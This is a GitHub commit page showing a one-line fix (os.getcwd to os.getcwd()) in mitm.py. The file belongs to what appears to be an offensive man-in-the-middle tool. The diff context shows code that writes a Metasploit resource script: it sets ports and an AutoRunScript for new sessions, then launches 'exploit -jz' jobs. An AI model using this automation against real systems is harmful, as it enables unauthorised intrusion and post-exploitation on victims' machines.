Permalink
Browse files

fix os.getcwd

  • Loading branch information...
milo2012 committed Oct 31, 2013
1 parent c6e815d commit 63207e3b541cf4d0c68982d03b7a516aeb56a54c
Showing with 1 addition and 1 deletion.
  1. +1 −1 mitm/mitm.py
View
@@ -241,7 +241,7 @@ def createMetasploitRC(metasploitIP):
metasploitResource+="set LPORT "+srvPORTs[count]+"\n"
metasploitResource+="set SRVPORT 80\n"
#metasploitResource+="set LPORT "+str(LPORT)+"\n"
- metasploitResource+="set AutoRunScript multi_console_command -rc "+os.getcwd+"/autoruncommands.rc\n"
+ metasploitResource+="set AutoRunScript multi_console_command -rc "+os.getcwd()+"/autoruncommands.rc\n"
metasploitResource+="exploit -jz\n"
metasploitResource+="sleep 5\n"
LPORT+=1

0 comments on commit 63207e3

Please sign in to comment.